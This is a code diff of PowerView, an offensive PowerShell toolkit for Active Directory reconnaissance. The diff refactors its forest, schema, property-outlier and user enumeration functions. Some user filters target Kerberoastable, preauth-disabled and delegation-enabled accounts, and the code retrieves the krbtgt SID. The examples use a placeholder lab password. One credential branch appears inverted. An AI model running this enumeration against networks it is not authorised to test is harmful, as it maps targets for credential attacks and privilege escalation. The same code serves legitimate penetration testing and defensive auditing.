- Write-Verbose "Using alternate credentials for Get-NetForest"
+ PROCESS {
+ if ($PSBoundParameters['Credential']) {
- if(!$Forest) {
- # if no domain is supplied, extract the logon domain from the PSCredential passed
- $Forest = $Credential.GetNetworkCredential().Domain
- Write-Verbose "Extracted domain '$Forest' from -Credential"
- }
-
- $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
-
- try {
- $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
+ Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest"
+
+ if ($PSBoundParameters['Forest']) {
+ $TargetForest = $Forest
+ }
+ else {
+ # if no domain is supplied, extract the logon domain from the PSCredential passed
+ $TargetForest = $Credential.GetNetworkCredential().Domain
+ Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential"
+ }
+
+ $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
+
+ try {
+ $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
+ }
+ catch {
+ Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
+ $Null
+ }
}
- catch {
- Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
- $Null
+ elseif ($PSBoundParameters['Forest']) {
+ $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
+ try {
+ $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
+ }
+ catch {
+ Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_"
+ return $Null
+ }
}
- }
- elseif($Forest) {
- $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
- try {
- $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
+ else {
+ # otherwise use the current forest
+ $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
}
- catch {
- Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust."
- return $Null
+
+ if ($ForestObject) {
+ # get the SID of the forest root
+ if ($PSBoundParameters['Credential']) {
+ $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid
+ }
+ else {
+ $ForestSid = (Get-DomainUser -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid
+ }
+
+ $Parts = $ForestSid -Split '-'
+ $ForestSid = $Parts[0..$($Parts.length-2)] -join '-'
+ $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
+ $ForestObject
}
}
- else {
- # otherwise use the current forest
- $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
- }
+}
+
+
+function Get-ForestDomain {
+<#
+.SYNOPSIS
+
+Return all domains for the current (or specified) forest.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-Forest
+
+.DESCRIPTION
+
+Returns all domains for the current forest or the forest specified
+by -Forest X.
+
+.PARAMETER Forest
+
+Specifies the forest name to query for domains.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target forest.
+
+.EXAMPLE
+
+Get-ForestDomain
- if($ForestObject) {
- # get the SID of the forest root
- $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
- $Parts = $ForestSid -Split "-"
- $ForestSid = $Parts[0..$($Parts.length-2)] -join "-"
- $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
- $ForestObject
+.EXAMPLE
+
+Get-ForestDomain -Forest external.local
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-ForestDomain -Credential $Cred
+
+.OUTPUTS
+
+System.DirectoryServices.ActiveDirectory.Domain
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True)]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Forest,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ PROCESS {
+ $Arguments = @{}
+ if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
+ if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
+
+ $ForestObject = Get-Forest @Arguments
+ if ($ForestObject) {
+ $ForestObject.Domains
+ }
}
}
-filter Get-NetForestDomain {
+function Get-ForestGlobalCatalog {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Return all global catalogs for the current (or specified) forest.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-Forest
+
+.DESCRIPTION
- Return all domains for a given forest.
+Returns all global catalogs for the current forest or the forest specified
+by -Forest X by using Get-Forest to retrieve the specified forest object
+and the .FindAllGlobalCatalogs() to enumerate the global catalogs.
- .PARAMETER Forest
+.PARAMETER Forest
- The forest name to query domain for.
+Specifies the forest name to query for global catalogs.
- .PARAMETER Credential
+.PARAMETER Credential
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetForestDomain
+Get-ForestGlobalCatalog
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetForestDomain -Forest external.local
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-ForestGlobalCatalog -Credential $Cred
+
+.OUTPUTS
+
+System.DirectoryServices.ActiveDirectory.GlobalCatalog
#>
- param(
- [Parameter(ValueFromPipeline=$True)]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True)]
+ [ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential
+ PROCESS {
+ $Arguments = @{}
+ if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
+ if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
- if($ForestObject) {
- $ForestObject.Domains
+ $ForestObject = Get-Forest @Arguments
+
+ if ($ForestObject) {
+ $ForestObject.FindAllGlobalCatalogs()
+ }
}
}
-filter Get-NetForestCatalog {
+function Get-ForestSchemaClass {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Helper that returns the Active Directory schema classes for the current
+(or specified) forest or returns just the schema class specified by
+-ClassName X.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-Forest
+
+.DESCRIPTION
+
+Uses Get-Forest to retrieve the current (or specified) forest. By default,
+the .FindAllClasses() method is executed, returning a collection of
+[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] results.
+If "-FindClass X" is specified, the [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
+result for the specified class name is returned.
+
+.PARAMETER ClassName
+
+Specifies a ActiveDirectorySchemaClass name in the found schema to return.
+
+.PARAMETER Forest
+
+The forest to query for the schema, defaults to the current forest.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Get-ForestSchemaClass
+
+Returns all domain schema classes for the current forest.
- Return all global catalogs for a given forest.
+.EXAMPLE
- .PARAMETER Forest
+Get-ForestSchemaClass -Forest dev.testlab.local
- The forest name to query domain for.
+Returns all domain schema classes for the external.local forest.
- .PARAMETER Credential
+.EXAMPLE
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Get-ForestSchemaClass -ClassName user -Forest external.local
- .EXAMPLE
+Returns the user schema class for the external.local domain.
- PS C:\> Get-NetForestCatalog
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred
+
+Returns the user schema class for the external.local domain using
+the specified alternate credentials.
+
+.OUTPUTS
+
+[DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass]
+
+An ActiveDirectorySchemaClass returned from the found schema.
#>
-
- param(
- [Parameter(ValueFromPipeline=$True)]
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True)]
+ [Alias('Class')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ClassName,
+
+ [Alias('Name')]
+ [ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential
+ PROCESS {
+ $Arguments = @{}
+ if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest }
+ if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
- if($ForestObject) {
- $ForestObject.FindAllGlobalCatalogs()
+ $ForestObject = Get-Forest @Arguments
+
+ if ($ForestObject) {
+ if ($PSBoundParameters['ClassName']) {
+ ForEach ($TargetClass in $ClassName) {
+ $ForestObject.Schema.FindClass($TargetClass)
+ }
+ }
+ else {
+ $ForestObject.Schema.FindAllClasses()
+ }
+ }
}
}
-filter Get-NetDomainController {
+function Find-DomainObjectPropertyOutlier {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Finds user/group/computer objects in AD that have 'outlier' properties set.
+
+Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass
+
+.DESCRIPTION
+
+Enumerates the schema for the specified -ClassName (if passed) by using Get-ForestSchemaClass.
+If a -ReferenceObject is passed, the class is extracted from the passed object.
+A 'reference' set of property names is then calculated, either from a standard set preserved
+for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
+from the property names of the passed -ReferenceObject. These property names are substracted
+from the master schema propertyu name list to retrieve a set of 'non-standard' properties.
+Every user/group/computer object (depending on determined class) are enumerated, and for each
+object, if the object has a 'non-standard' property set, the object samAccountName, property
+name, and property value are output to the pipeline.
+
+.PARAMETER ClassName
+
+Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
+If -ReferenceObject is specified, this will be automatically extracted, if possible.
+
+.PARAMETER ReferencePropertySet
+
+Specifies an array of property names to diff against the class schema.
+
+.PARAMETER ReferenceObject
+
+Specicifes the PowerView user/group/computer object to extract property names
+from to use as the reference set.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER LDAPFilter
+
+Specifies an LDAP query string that is used to filter Active Directory objects.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+
+.PARAMETER ResultPageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
- Return the current domain controllers for the active domain.
+.PARAMETER ServerTimeLimit
- .PARAMETER Domain
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- The domain to query for domain controllers, defaults to the current domain.
+.PARAMETER Tombstone
- .PARAMETER DomainController
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Credential
- .PARAMETER LDAP
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- Switch. Use LDAP queries to determine the domain controllers.
+.EXAMPLE
- .PARAMETER Credential
+Find-DomainObjectPropertyOutlier -User
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Enumerates users in the current domain with 'outlier' properties filled in.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetDomainController -Domain 'test.local'
-
- Determine the domain controllers for 'test.local'.
+Find-DomainObjectPropertyOutlier -Group -Domain external.local
- .EXAMPLE
+Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
- PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP
+.EXAMPLE
- Determine the domain controllers for 'test.local' using LDAP queries.
+Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
- .EXAMPLE
+Enumerates computers in the current domain with 'outlier' properties filled in.
- PS C:\> 'test.local' | Get-NetDomainController
+.OUTPUTS
- Determine the domain controllers for 'test.local'.
+PowerView.PropertyOutlier
+
+Custom PSObject with translated object property outliers.
#>
- [CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.PropertyOutlier')]
+ [CmdletBinding(DefaultParameterSetName = 'ClassName')]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
+ [Alias('Class')]
+ [ValidateSet('User', 'Group', 'Computer')]
+ [String]
+ $ClassName,
+
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ReferencePropertySet,
+
+ [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
+ [PSCustomObject]
+ $ReferenceObject,
+
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $DomainController,
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
[Switch]
- $LDAP,
+ $Tombstone,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- if($LDAP -or $DomainController) {
- # filter string to return all domain controllers
- Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
+ BEGIN {
+ $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
+
+ $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
+
+ $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
+
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+
+ # Domain / Credential
+ if ($PSBoundParameters['Domain']) {
+ if ($PSBoundParameters['Credential']) {
+ $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
+ }
+ else {
+ $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
+ }
+ Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
+ }
+
+ $SchemaArguments = @{}
+ if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
+ if ($TargetForest) {
+ $SchemaArguments['Forest'] = $TargetForest
+ }
}
- else {
- $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
- if($FoundDomain) {
- $Founddomain.DomainControllers
+
+ PROCESS {
+
+ if ($PSBoundParameters['ReferencePropertySet']) {
+ Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
+ $ReferenceObjectProperties = $ReferencePropertySet
+ }
+ elseif ($PSBoundParameters['ReferenceObject']) {
+ Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
+ $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
+ $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
+ Write-Verbose "[Find-DomainObjectPropertyOutlier] Caldulated ReferenceObjectClass : $ReferenceObjectClass"
+ }
+ else {
+ Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
+ }
+
+ if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
+ $Objects = Get-DomainUser @SearcherArguments
+ $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'User'
+ $ReferenceObjectProperties = $UserReferencePropertySet
+ }
+ elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
+ $Objects = Get-DomainGroup @SearcherArguments
+ $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'Group'
+ $ReferenceObjectProperties = $GroupReferencePropertySet
+ }
+ elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
+ Write-Verbose "COMPUTER!"
+ $Objects = Get-DomainComputer @SearcherArguments
+ $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'Computer'
+ $ReferenceObjectProperties = $ComputerReferencePropertySet
+ }
+ else {
+ throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
+ }
+
+ $SchemaProperties = $SchemaClass | Select-Object -ExpandProperty OptionalProperties | Select-Object -ExpandProperty name
+ $SchemaProperties += $SchemaClass | Select-Object -ExpandProperty MandatoryProperties | Select-Object -ExpandProperty name
+
+ # find the schema properties that are NOT in the first returned reference property set
+ $NonstandardProperties = Compare-Object -ReferenceObject $ReferenceObjectProperties -DifferenceObject $SchemaProperties -PassThru
+
+ ForEach ($Object in $Objects) {
+ $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
+ ForEach($ObjectProperty in $ObjectProperties) {
+ if ($NonstandardProperties -Contains $ObjectProperty) {
+ $Out = New-Object PSObject
+ $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
+ $Out | Add-Member Noteproperty 'Property' $ObjectProperty
+ $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
+ $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
+ $Out
+ }
+ }
}
}
}
@@ -2472,86 +4427,189 @@ filter Get-NetDomainController {
#
########################################################
-function Get-NetUser {
+function Get-DomainUser {
<#
- .SYNOPSIS
+.SYNOPSIS
- Query information for a given user or users in the domain
- using ADSI and LDAP. Another -Domain can be specified to
- query for users across a trust.
- Replacement for "net users /domain"
+Return all users or specific user objects in AD.
- .PARAMETER UserName
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
- Username filter string, wildcards accepted.
+.DESCRIPTION
- .PARAMETER Domain
+Builds a directory searcher object using Get-DomainSearcher, builds a custom
+LDAP filter based on targeting/filter parameters, and searches for all objects
+matching the criteria. To only return specific properties, use
+"-Properties samaccountname,usnchanged,...". By default, all user objects for
+the current domain are returned.
- The domain to query for users, defaults to the current domain.
+.PARAMETER Identity
- .PARAMETER DomainController
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
+Wildcards accepted. Also accepts DOMAIN\user format.
- Domain controller to reflect LDAP queries through.
+.PARAMETER SPN
- .PARAMETER ADSpath
+Switch. Only return user objects with non-null service principal names.
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.PARAMETER AdminCount
- .PARAMETER Filter
+Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
- A customized ldap filter string to use, e.g. "(description=*admin*)"
+.PARAMETER AllowDelegation
- .PARAMETER AdminCount
+Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
- Switch. Return users with adminCount=1.
+.PARAMETER DisallowDelegation
- .PARAMETER SPN
+Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
- Switch. Only return user objects with non-null service principal names.
+.PARAMETER TrustedToAuth
- .PARAMETER Unconstrained
+Switch. Return computer objects that are trusted to authenticate for other principals.
- Switch. Return users that have unconstrained delegation.
+.PARAMETER PreauthNotRequired
- .PARAMETER AllowDelegation
+Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
- Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
+.PARAMETER Domain
- .PARAMETER PageSize
+Specifies the domain to use for the query, defaults to the current domain.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER LDAPFilter
- .PARAMETER Credential
+Specifies an LDAP query string that is used to filter Active Directory objects.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.PARAMETER Properties
- .EXAMPLE
+Specifies the properties of the output object to retrieve from the server.
- PS C:\> Get-NetUser -Domain testing
+.PARAMETER SearchBase
- .EXAMPLE
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local"
-#>
+.PARAMETER Server
- param(
- [Parameter(Position=0, ValueFromPipeline=$True)]
- [String]
- $UserName,
+Specifies an Active Directory server (domain controller) to bind to.
- [String]
- $Domain,
+.PARAMETER SearchScope
- [String]
- $DomainController,
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- [String]
- $ADSpath,
+.PARAMETER ResultPageSize
- [String]
- $Filter,
+Specifies the PageSize to set for the LDAP searcher object.
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER SecurityMasks
+
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
+
+.PARAMETER Tombstone
+
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
+
+.PARAMETER FindOne
+
+Only return one result object.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.PARAMETER Raw
+
+Switch. Return raw results instead of translating the fields into a custom PSObject.
+
+.EXAMPLE
+
+Get-DomainUser -Domain testlab.local
+
+Return all users for the testlab.local domain
+
+.EXAMPLE
+
+Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
+
+Return the user with the given SID, as well as Administrator.
+
+.EXAMPLE
+
+'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
+
+lastlogoff samaccountname
+---------- --------------
+12/31/1600 4:00:00 PM dfm.a
+12/31/1600 4:00:00 PM dfm
+12/31/1600 4:00:00 PM harmj0y
+12/31/1600 4:00:00 PM Administrator
+
+.EXAMPLE
+
+Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
+
+Search the specified OU for privileged user (AdminCount = 1) that allow delegation
+
+.EXAMPLE
+
+Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
+
+Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainUser -Credential $Cred
+
+.EXAMPLE
+
+Get-Domain | Select-Object -Expand name
+testlab.local
+
+Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
+VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
+VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
+
+distinguishedname
+-----------------
+CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
+
+.INPUTS
+
+String
+
+.OUTPUTS
+
+PowerView.User
+
+Custom PSObject with translated user property fields.
+
+PowerView.User.Raw
+
+The raw DirectoryServices.SearchResult object, if -Raw is enabled.
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.User')]
+ [OutputType('PowerView.User.Raw')]
+ [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
+ [String[]]
+ $Identity,
[Switch]
$SPN,
@@ -2559,2450 +4617,3638 @@ function Get-NetUser {
[Switch]
$AdminCount,
+ [Parameter(ParameterSetName = 'AllowDelegation')]
[Switch]
- $Unconstrained,
+ $AllowDelegation,
+ [Parameter(ParameterSetName = 'DisallowDelegation')]
[Switch]
- $AllowDelegation,
+ $DisallowDelegation,
- [ValidateRange(1,10000)]
+ [Switch]
+ $TrustedToAuth,
+
+ [Alias('KerberosPreauthNotRequired', 'NoPreauth')]
+ [Switch]
+ $PreauthNotRequired,
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ServerTimeLimit,
+
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
+
+ [Switch]
+ $Tombstone,
+
+ [Alias('ReturnOne')]
+ [Switch]
+ $FindOne,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [Switch]
+ $Raw
)
- begin {
- # so this isn't repeated if users are passed on the pipeline
